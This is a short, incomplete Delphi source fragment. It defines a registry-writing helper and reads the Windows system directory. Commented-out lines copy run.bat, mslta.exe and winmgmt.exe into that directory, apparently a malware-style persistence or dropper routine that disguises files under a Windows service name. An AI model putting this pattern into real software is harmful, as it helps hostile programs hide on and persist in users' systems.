function regs(key:Hkey; subkey,name,value:string):boolean; var regkey:hkey; begin result := false; RegCreateKey(key,PChar(subkey),regkey); //根键,路径, if RegSetValueEx(regkey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then result := true; RegCloseKey(regkey); end;
begin getsystemdirectory(buf,max_path); //copyfile(pchar('run.bat'),pchar(buf+'\run.bat'), FALSE); //copyfile(pchar('mslta.exe'),pchar(buf+'\mslta.exe'), FALSE); //copyfile(pchar('winmgmt.exe'),pchar(buf+'\winmgmt.exe'), FALSE);